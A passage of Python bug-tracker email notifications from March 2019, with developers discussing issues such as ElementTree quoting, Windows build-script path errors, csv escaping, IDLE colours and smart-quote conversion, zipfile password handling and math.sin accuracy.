Subject: [issue36233] xml ElementTree quotation marks of xml version string
In-Reply-To: <1552039687.7.0.55265972714.issue36233@roundup.psfhosted.org>
Message-ID: <1552076142.19.0.461250924493.issue36233@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

While I do understand the interest in a bit more visual consistency (and, lacking further input, I assume that this is the OP's "problem"), it really is at best a purely visual improvement with the potential to break code and/or tests out there. I'd rather not make that change.

FWIW, lxml also uses single quotes in the XML declaration (originally following ElementTree), but double quotes by default for the rest, except for attributes that contain double quotes (but no single quotes). Any XML parser in the world is able to deal with that (since otherwise, it's not an XML parser). Nothing is broken here.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36233>
_______________________________________

From report at bugs.python.org  Fri Mar  8 15:48:54 2019
From: report at bugs.python.org (Fredrik Johansson)
Date: Fri, 08 Mar 2019 20:48:54 +0000
Subject: [issue36228] Support coercion of complex to float/int
In-Reply-To: <1551990077.56.0.757483742066.issue36228@roundup.psfhosted.org>
Message-ID: <1552078134.11.0.399017636039.issue36228@roundup.psfhosted.org>


Fredrik Johansson <fredrik.johansson at gmail.com> added the comment:

I can think of two reasons to extend floor() and ceil() to complex numbers, and they lead to different extensions.

The first is as a way to map complex numbers to nearby Gaussian integers by defining floor(z) = floor(z.real) + floor(z.imag)*1j, etc. Definition in mpmath borrowed from Mathematica. Conceivably handy for data quantization, or discrete plane geometry... but I honestly never used it myself and can't remember ever seeing it used.

The second is to extend piecewise analytic functions on R to piecewise holomorphic functions on C so that the real analytic segments extend to complex analytic neighborhoods, most easily achieved by defining floor(z) = floor(z.real). This one I've actually had use for (think complex step differentiation, contour integration), but it's a bit esoteric.

My opinion? If a Python user calls floor() and ceil() with a complex input, it's probably because of a bug in their code, and TypeError is appropriate. It's a one-line lambda to define your own complex extension if you really need it.

On the other hand: if it exists, someone will eventually find a way to use it for code golf ;-)

----------
nosy: +fredrikj

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36228>
_______________________________________

From report at bugs.python.org  Fri Mar  8 16:28:39 2019
From: report at bugs.python.org (Jess)
Date: Fri, 08 Mar 2019 21:28:39 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
Message-ID: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>


New submission from Jess <jess at gmail.com>:

Have a fix for this that I'll send off shortly.

What I see with the current head (my username was replaced with "Foo Bar" in this example:
> Using "C:\Users\Foo Bar\cpython\PCbuild\\..\externals\pythonx86\tools\python.exe" (found in externals directory)
> Bar\cpython\PCbuild\\..\externals\pythonx86\tools\python.exe""=="" was unexpected at this time.

My theory, window's turning:
> C:\Users\Foo Bar
into
> "C:\Users\Foo Bar"
and this is colliding with our use of "%PYTHON%", creating double quotes, or:
> ""C:\Users\Foo Bar""
which, of course:
> if ""C:\Users\Foo Bar""==""
does not make sense as a statement.

----------
components: Windows
messages: 337530
nosy: Jess, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: PCBuild/build.bat errors, probably from space characters in paths
type: compile error

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Fri Mar  8 16:29:32 2019
From: report at bugs.python.org (Jess)
Date: Fri, 08 Mar 2019 21:29:32 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1552080572.3.0.679532171552.issue36245@roundup.psfhosted.org>


Jess <jess at gmail.com> added the comment:

Note: the error is actually in get_externals.bat, which is called by build.bat.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Fri Mar  8 16:29:47 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 08 Mar 2019 21:29:47 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1552080587.15.0.845480623248.issue36216@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

This issue is now assigned CVE-2019-9636

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9636

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Fri Mar  8 16:37:09 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 08 Mar 2019 21:37:09 +0000
Subject: [issue10909] IDLE: thread hang, possibly related to print
In-Reply-To: <1295026647.31.0.671636636712.issue10909@psf.upfronthosting.co.za>
Message-ID: <1552081029.52.0.486103795801.issue10909@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I have since learned the following about accessing tk widgets from non-main threads.
1. It seem to be reliable when tcl/tk is compiled with thread support but not when tcl/tk is not so compiled. (The latter is contrary to a claim in the doc.)
2. The tcl default is 'without' 8.5 and 'with' for 8.6, and PSF installers follow the default.  I am guessing that this is likely true for Linux distributions.
3. The 2.7 Windows installer currently includes 8.5.15.  The 3.5+ Windows installers include 8.6.z.  Hence the different results on my Windows machine.
4. Mac installers now use 8.6.z even, I believe, for 2.7.  I have the impression that the system tcl/tk for current Linux distributes is also 8.6.z.
Hence, the issue of tkinter thread safety is resolving itself.

I reran e10909.py with 2.7.16 with the B config call disabled and it ran until I stopped it at 24 minutes.  Printing from a thread is not an issue on my machine.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10909>
_______________________________________

From report at bugs.python.org  Fri Mar  8 16:44:27 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 08 Mar 2019 21:44:27 +0000
Subject: [issue35899] '_is_sunder' function in 'enum' module fails on empty
 string
In-Reply-To: <1549376859.01.0.998806898699.issue35899@roundup.psfhosted.org>
Message-ID: <1552081467.33.0.813213933567.issue35899@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 8755f0aeb67125a154e5665a24276fe85d269d85 by Miss Islington (bot) in branch '3.7':
bpo-35899: Fix Enum handling of empty and weird strings (GH-11891)
https://github.com/python/cpython/commit/8755f0aeb67125a154e5665a24276fe85d269d85


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35899>
_______________________________________

From report at bugs.python.org  Fri Mar  8 16:44:41 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 08 Mar 2019 21:44:41 +0000
Subject: [issue35807] Update bundled pip to 19.0
In-Reply-To: <1548185823.13.0.177750416451.issue35807@roundup.psfhosted.org>
Message-ID: <1552081481.97.0.565322952264.issue35807@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 572205adf06fc5afa64984740c4775af45942d5c by Miss Islington (bot) in branch '3.7':
bpo-35807: Upgrade ensurepip bundled pip and setuptools (GH-12189)
https://github.com/python/cpython/commit/572205adf06fc5afa64984740c4775af45942d5c


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35807>
_______________________________________

From report at bugs.python.org  Fri Mar  8 16:45:04 2019
From: report at bugs.python.org (miss-islington)
Date: Fri, 08 Mar 2019 21:45:04 +0000
Subject: [issue35807] Update bundled pip to 19.0
In-Reply-To: <1548185823.13.0.177750416451.issue35807@roundup.psfhosted.org>
Message-ID: <1552081504.04.0.946433098406.issue35807@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 55438d713978a1913ef12c8a801848626228aad6 by Miss Islington (bot) in branch '2.7':
bpo-35807: Upgrade ensurepip bundled pip and setuptools (GH-12189)
https://github.com/python/cpython/commit/55438d713978a1913ef12c8a801848626228aad6


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35807>
_______________________________________

From report at bugs.python.org  Fri Mar  8 16:47:40 2019
From: report at bugs.python.org (Jess)
Date: Fri, 08 Mar 2019 21:47:40 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1552081660.09.0.504031385581.issue36245@roundup.psfhosted.org>


Change by Jess <jess at gmail.com>:


----------
keywords: +patch
pull_requests: +12229
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Fri Mar  8 16:59:52 2019
From: report at bugs.python.org (flow2k)
Date: Fri, 08 Mar 2019 21:59:52 +0000
Subject: [issue36246] csv.writer lineterminator affects csv escaping
Message-ID: <1552082392.37.0.332267389905.issue36246@roundup.psfhosted.org>


New submission from flow2k <sunflow2k at gmail.com>:

output = io.StringIO()
csvData = [1, 2, 'a', 'He said "what do you mean?"', "Whoa!\rNewlines!"]
writer = csv.writer(output,lineterminator='\n')
writer.writerow(csvData)
print(repr(output.getvalue())) #does not escape \r as expected

----------
messages: 337537
nosy: flow2k
priority: normal
severity: normal
status: open
title: csv.writer lineterminator affects csv escaping
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36246>
_______________________________________

From report at bugs.python.org  Fri Mar  8 17:01:29 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Fri, 08 Mar 2019 22:01:29 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552082489.98.0.312372561025.issue35661@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:


New changeset d5a70c6b0355f247931f6be80b78a0ff1869c56f by Cheryl Sabella in branch 'master':
bpo-35661: Store the venv prompt in pyvenv.cfg (GH-11440)
https://github.com/python/cpython/commit/d5a70c6b0355f247931f6be80b78a0ff1869c56f


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Fri Mar  8 17:02:44 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Fri, 08 Mar 2019 22:02:44 +0000
Subject: [issue35661] Store the venv prompt in pyvenv.cfg
In-Reply-To: <1546649882.91.0.811189740909.issue35661@roundup.psfhosted.org>
Message-ID: <1552082564.7.0.0417157702736.issue35661@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35661>
_______________________________________

From report at bugs.python.org  Fri Mar  8 17:05:55 2019
From: report at bugs.python.org (Jess)
Date: Fri, 08 Mar 2019 22:05:55 +0000
Subject: [issue36230] Please sort assertSetEqual's output
In-Reply-To: <1551996028.77.0.0944355403743.issue36230@roundup.psfhosted.org>
Message-ID: <1552082755.27.0.187018990794.issue36230@roundup.psfhosted.org>


Jess <jess at gmail.com> added the comment:

Good call on the repr(), hadn't noted the "3+4j" issue - __gt__ and __lt__ do work for compare there, but not sorted().  *shrug*  Will make sure the solution takes that into account in some fashion.

Bit slower as I expected as setting up the windows env has some bits that are not entirely happy.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36230>
_______________________________________

From report at bugs.python.org  Fri Mar  8 17:10:03 2019
From: report at bugs.python.org (Dmitrii Pasechnik)
Date: Fri, 08 Mar 2019 22:10:03 +0000
Subject: [issue36231] no "proper" header files on macOS 10.14 Mojave
In-Reply-To: <1552039427.3.0.599611853277.issue36231@roundup.psfhosted.org>
Message-ID: <1552083003.37.0.867715091585.issue36231@roundup.psfhosted.org>


Dmitrii Pasechnik <dimpase at gmail.com> added the comment:

Needless to say, subprocess is most certainly an overkill, something less involved would do the job, without the need for all the module dependencies of subprocess.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36231>
_______________________________________

From report at bugs.python.org  Fri Mar  8 17:12:27 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 08 Mar 2019 22:12:27 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>
Message-ID: <1552083147.81.0.0772042819155.issue36176@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

The only thing missing is the OS, which I presume is some version and distribution of Linux.

IDLE used tkinter which uses tcl/tk.  From what you say, the latter, at least on Linux, picks up its default colors from the window manager, which for you happens to be KDE.  (This seems not true, at least not yet, on current macOS, as switching to the new dark theme has no effect on IDLE.)  This suggests that when a widget has both foreground and background settings, IDLE should leave both alone to use compatible defaults or set both.

Except for text windows (which have both fore- and back-grounds) and frames and canvases (which only have background), IDLE generally does not set colors.  I just verified this for the settings and search dialogs.  Do these switch to light on dark when you set you screen to the same?

Setting autocomplete bg to white is an anomaly from before 2005.  It is useless or wrong and I think we should just delete the setting.

Setting the calltip and tooltips backgrounds (tooltip.py, line 162) to yellow is intentional, to contrast with the text.  So we should also set the foregrounds (to black).  I don't think these need to be configurable.

Cheryl, does your Ubuntu desktop have a dark theme option?  If so, does it affect tk defaults and hence IDLE?

----------
nosy: +cheryl.sabella
title: Make IDLE Autocomplete / Calltip Window Colors Configurable -> Fix IDLE Autocomplete / Calltip Window Colors
versions: +Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Fri Mar  8 17:12:52 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 08 Mar 2019 22:12:52 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>
Message-ID: <1552083172.86.0.615929423861.issue36176@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
stage:  -> needs patch
type: enhancement -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Fri Mar  8 17:13:48 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Fri, 08 Mar 2019 22:13:48 +0000
Subject: [issue36176] Fix IDLE Autocomplete / Calltip Window Colors
In-Reply-To: <1551669431.81.0.580899841799.issue36176@roundup.psfhosted.org>
Message-ID: <1552083228.34.0.531163410893.issue36176@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Kristoffer, can you try removing 'bg=while' from autocomplete_w.py?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36176>
_______________________________________

From report at bugs.python.org  Fri Mar  8 17:56:50 2019
From: report at bugs.python.org (Cristi Fati)
Date: Fri, 08 Mar 2019 22:56:50 +0000
Subject: [issue36247] zipfile - extract truncates (existing) file when bad
 password provided (zip encryption weakness)
Message-ID: <1552085810.83.0.29138554052.issue36247@roundup.psfhosted.org>


New submission from Cristi Fati <cristifati0 at gmail.com>:

PKWARE encryption password pre check algorithm (relying on an 8 bits value to differentiate passwords) is insanely short.

Most of the wrong passwords are filtered out by the check, but some of them aren't. For the ones in the latter category, when trying to extract an archive member, a 0 lengthed file with its name will be created on the FS (overwriting any previous version).

Usecase:

1. Extract an archive member using the good password. File extracted
2. Extract the same member using a wrong password:
    2.1 For most of the passwords, they will be detected and the operation cancelled
    2.2 But some of them, they won't be detected (false positives), but the decryption itself will fail overwriting the file (from #1.) on FS but leaving it with 0 bytes content

This is the about #2.2.

More details on [[SO]: zipfile.BadZipFile: Bad CRC-32 when extracting a password protected .zip & .zip goes corrupt on extract (@CristiFati's answer)](https://stackoverflow.com/questions/54532010/zipfile-badzipfile-bad-crc-32-when-extracting-a-password-protected-zip-zip/55063500#55063500).

----------
components: Library (Lib)
messages: 337543
nosy: CristiFati
priority: normal
severity: normal
status: open
title: zipfile - extract truncates (existing) file when bad password provided (zip encryption weakness)
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36247>
_______________________________________

From report at bugs.python.org  Fri Mar  8 18:11:43 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 08 Mar 2019 23:11:43 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1552086703.86.0.896131106499.issue36245@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Since the checks are all against empty strings, perhaps we can use "IF NOT DEFINED PYTHON" instead? That should work as well, I think, and it'll save us from problems in the future if someone puts "]" in their username :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Fri Mar  8 18:11:59 2019
From: report at bugs.python.org (Steve Dower)
Date: Fri, 08 Mar 2019 23:11:59 +0000
Subject: [issue36245] PCBuild/build.bat errors,
 probably from space characters in paths
In-Reply-To: <1552080519.88.0.495449108735.issue36245@roundup.psfhosted.org>
Message-ID: <1552086719.5.0.416349090657.issue36245@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
components: +Build
versions: +Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36245>
_______________________________________

From report at bugs.python.org  Fri Mar  8 18:14:32 2019
From: report at bugs.python.org (Cristi Fati)
Date: Fri, 08 Mar 2019 23:14:32 +0000
Subject: [issue36247] zipfile - extract truncates (existing) file when bad
 password provided (zip encryption weakness)
In-Reply-To: <1552085810.83.0.29138554052.issue36247@roundup.psfhosted.org>
Message-ID: <1552086872.91.0.487131081643.issue36247@roundup.psfhosted.org>


Cristi Fati <cristifati0 at gmail.com> added the comment:

Submitted: https://github.com/python/cpython/pull/12242.

As a note, it applies to any Python version.

----------
keywords: +patch
pull_requests: +12230
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36247>
_______________________________________

From report at bugs.python.org  Fri Mar  8 18:47:57 2019
From: report at bugs.python.org (Eric Snow)
Date: Fri, 08 Mar 2019 23:47:57 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1552088877.2.0.535005949336.issue33608@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
pull_requests: +12231

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar  8 18:53:52 2019
From: report at bugs.python.org (Jurjen N.E. Bos)
Date: Fri, 08 Mar 2019 23:53:52 +0000
Subject: [issue35880] math.sin has no backward error; this isn't documented
In-Reply-To: <1549021657.57.0.382503652198.issue35880@roundup.psfhosted.org>
Message-ID: <1552089232.55.0.48442192675.issue35880@roundup.psfhosted.org>


Jurjen N.E. Bos <jneb at users.sourceforge.net> added the comment:

I stand corrected; more on that later.

"backward error" is the mathematical term used for the accuracy of a
function. (Forward error is in the result proper; backward error means that you calculate the correct result for a number that is very close to the input.)
Since pi is not a machine representable number, it is pretty hard to
implement the trig functions with a zero backward error, since you need to divide by 2*pi in any reasonable implementation. For some reason, I was in the impression that the backward error of the sine was zero. 

I wrote a program to demonstrate the matter, only to find out that I was wrong :P
Maybe in the 32 bit version, but not in the 64 bits? Anyway, it is more implementation dependent than I though.

Althougth the backward error of the builtin sine function isn't zero, it is still a cool 21 digits, as the program shows.
- Jurjen

----------
resolution:  -> rejected
status: pending -> open
Added file: https://bugs.python.org/file48199/sindemo.py

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35880>
_______________________________________

From report at bugs.python.org  Fri Mar  8 19:04:19 2019
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 09 Mar 2019 00:04:19 +0000
Subject: [issue36203] PyWeakref_NewRef docs are misleading
In-Reply-To: <1551834230.67.0.926562735048.issue36203@roundup.psfhosted.org>
Message-ID: <1552089859.87.0.541406718988.issue36203@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
keywords: +patch
pull_requests: +12232
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36203>
_______________________________________

From report at bugs.python.org  Fri Mar  8 19:07:40 2019
From: report at bugs.python.org (Eric Snow)
Date: Sat, 09 Mar 2019 00:07:40 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1552090060.64.0.422954494842.issue33608@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
pull_requests: +12234

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar  8 19:09:35 2019
From: report at bugs.python.org (Martin Panter)
Date: Sat, 09 Mar 2019 00:09:35 +0000
Subject: [issue36246] csv.writer lineterminator affects csv escaping
In-Reply-To: <1552082392.37.0.332267389905.issue36246@roundup.psfhosted.org>
Message-ID: <1552090175.29.0.572831505899.issue36246@roundup.psfhosted.org>


Martin Panter <vadmium+py at gmail.com> added the comment:

This is the result that I see:

>>> output = StringIO()
>>> csv.writer(output, lineterminator='\n').writerow(["Whoa!\rNewlines!"])
16
>>> output.getvalue()
'Whoa!\rNewlines!\n'

For comparison, this is the result with CRLF terminators (the default):

>>> output = StringIO()
>>> csv.writer(output, lineterminator='\r\n').writerow(["Whoa!\rNewlines!"])
19
>>> output.getvalue()
'"Whoa!\rNewlines!"\r\n'

Is it a problem that the line terminator determines whether the CR is quoted or not? I believe the default policy is ?excel?, which happens to use QUOTE_MINIMAL. This behaviour is documented: <https://docs.python.org/3.7/library/csv.html#csv.QUOTE_MINIMAL>.

----------
nosy: +martin.panter
resolution:  -> not a bug
status: open -> pending

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36246>
_______________________________________

From report at bugs.python.org  Fri Mar  8 19:15:59 2019
From: report at bugs.python.org (Eric Snow)
Date: Sat, 09 Mar 2019 00:15:59 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1552090559.59.0.487148378861.issue33608@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
pull_requests: +12235

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar  8 19:18:53 2019
From: report at bugs.python.org (Eric Snow)
Date: Sat, 09 Mar 2019 00:18:53 +0000
Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that
 an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1552090733.13.0.0479694691761.issue33608@roundup.psfhosted.org>


Change by Eric Snow <ericsnowcurrently at gmail.com>:


----------
pull_requests: +12236

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Fri Mar  8 19:42:59 2019
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 09 Mar 2019 00:42:59 +0000
Subject: [issue36236] Python crash on macOS when CWD is invalid
In-Reply-To: <1552048367.13.0.453050382053.issue36236@roundup.psfhosted.org>
Message-ID: <1552092179.45.0.659806470828.issue36236@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
nosy: +vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36236>
_______________________________________

From report at bugs.python.org  Fri Mar  8 19:46:49 2019
From: report at bugs.python.org (Tim Peters)
Date: Sat, 09 Mar 2019 00:46:49 +0000
Subject: [issue35880] math.sin has no backward error; this isn't documented
In-Reply-To: <1549021657.57.0.382503652198.issue35880@roundup.psfhosted.org>
Message-ID: <1552092409.93.0.370032844258.issue35880@roundup.psfhosted.org>


Tim Peters <tim at python.org> added the comment:

Jurjen, the errors you see in Python's sin() are _entirely_ due to your platform C's libm.  Python just calls the platform C's sin.  So nothing can be said about it in general.

The better libm trig functions today do indeed perform trig argument reduction "as if" an infinite precision pi were used.  In practice, even for IEEE double precision no more than a few thousand bits are ever needed in the worst case, and the better libm trig functions use something much cheaper than that for arguments in a "reasonably small" range.  But, again, Python has nothing to do with that.

The better libm implementations guarantee worst-case error strictly less than 1 ULP away from the infinitely precise result.  But correctly rounded ("nearest-even") in all cases is still beyond what most of the better libms guarantee.

----------
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35880>
_______________________________________

From report at bugs.python.org  Fri Mar  8 20:04:16 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 09 Mar 2019 01:04:16 +0000
Subject: [issue36219] IDLE menu option to convert non-ascii quotes & other?
In-Reply-To: <1551917403.61.0.29942545482.issue36219@roundup.psfhosted.org>
Message-ID: <1552093456.21.0.157545746068.issue36219@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

I support adding a new function, with these notes.

1. Let's limit the scope to actual reversible bugs introduced by 3rd party software we care about.  Let's not try to anticipate every possible issue.  Also, once we have a function to replace some unicode chars, I can imagine users requesting replacement of other unicode chars, such as math X-like multiplication symbol by '*'.  I am pretty sure that encouraging intentional unicode extensions would not pass core-dev review. ;-)

Raymond, do users encounter all of the characters and combinations Cheryl suggested?  Serhiy, do you know if real pdfs make the other changes you pointed at? Can you provide or suggest a specific test string?

2. I want to put the new feature on the Format menu.  A. The Edit menu is already overly long and B) the other items on Format already do various selection or whole-text fixups (inserts, replacements, and deletions). Possible menu entry: 'Replace non-ascii chars'.  This is 23 chars; the current longest entry is 25.  A 'hotkey' is not needed for something so rarely used.  (Some of the other items on Format don't need them either.)

I think including Format on the Shell menu, with a subset of entries active, should be a follow-up issue.  Another possible follow-up is to check pasted or opened text and offer to edit if appropriate.  I am wary of doing so automatically, especially to start.

3. We should not replace within strings and comments, but mangled strings may be hard to recognize as such.  Suppose '?' is mangled to ??? (\u2018\u2019\u2019, open-close-close).  I am not sure how we should recognize to leave the middle character as is, except to reject anything that results in a syntax error.  I would rather do too few rather than too many edits.  I will be happy if we can start with something useful, not wrong, tested, and documented.

----------
stage:  -> test needed
title: Add edit option in IDLE to convert smart quotes to ascii quotes -> IDLE menu option to convert non-ascii quotes & other?
type:  -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36219>
_______________________________________

From report at bugs.python.org  Fri Mar  8 20:27:51 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 09 Mar 2019 01:27:51 +0000
Subject: [issue36219] IDLE menu option to convert non-ascii quotes & other?
In-Reply-To: <1551917403.61.0.29942545482.issue36219@roundup.psfhosted.org>
Message-ID: <1552094871.54.0.283122836369.issue36219@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

> Raymond, do users encounter all of the characters and combinations Cheryl suggested?

The only recurring issue is with the smart quotes.

For anything else, perhaps there can be a box on the General configuration tab for additional source/dest replacement pairs.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36219>
_______________________________________

From report at bugs.python.org  Fri Mar  8 20:33:23 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 09 Mar 2019 01:33:23 +0000
Subject: [issue36215] Should AppVeyor run compile Python in debug mode?
In-Reply-To: <1551892607.07.0.699747283695.issue36215@roundup.psfhosted.org>
Message-ID: <1552095203.73.0.571280122939.issue36215@roundup.psfhosted.org>


Terry J. Reedy <tjreedy at udel.edu> added the comment:

Testing with installed release builds is about twice as fast.

f:\dev\37>python -m test -ugui -j14  # Debug 32-bit 3.7
...
0:03:51 [412/416] test_tarfile passed (56 sec 7 ms) -- running: test_multiprocessing_spawn (1 min 46 sec)
0:04:14 [413/416] test_weakref passed (37 sec 771 ms) -- running: test_multiprocessing_spawn (2 min 8 sec), test_venv (40 sec 188 ms), test_zipfile (31 sec 718 ms)
0:04:37 [414/416] test_zipfile passed (53 sec 631 ms) -- running: test_multiprocessing_spawn (2 min 31 sec), test_venv (1 min 3 sec)
0:04:43 [415/416] test_venv passed (1 min 8 sec) -- running: test_multiprocessing_spawn (2 min 37 sec)
running: test_multiprocessing_spawn (3 min 7 sec)
0:05:31 [416/416] test_multiprocessing_spawn passed (3 min 25 sec)

f:\dev\37>py -3.7 -m test -ugui -j14  # Installed 64-bit 3.7
...
0:01:53 [412/416/2] test_urllib2_localnet passed -- running: test_multiprocessing_spawn (53 sec 953 ms), test_socket (39 sec 298 ms)
0:01:55 [413/416/2] test_socket passed (40 sec 929 ms) -- running: test_multiprocessing_spawn (55 sec 953 ms)
0:01:56 [414/416/2] test_zipfile passed -- running: test_multiprocessing_spawn (57 sec 141 ms)
0:02:11 [415/416/2] test_venv passed (37 sec 543 ms) -- running: test_multiprocessing_spawn (1 min 12 sec)
0:02:37 [416/416/2] test_multiprocessing_spawn passed (1 min 37 sec)

My memory is that other things being equal, 32 bit should be faster than 64, but I presume you know more than I do.

Doubling CI time would be painful.  How often are buildbot failure due to the build or test-arg differences, as opposed to system differences?

----------
nosy: +terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36215>
_______________________________________

From report at bugs.python.org  Fri Mar  8 20:46:41 2019
From: report at bugs.python.org (Steven D'Aprano)
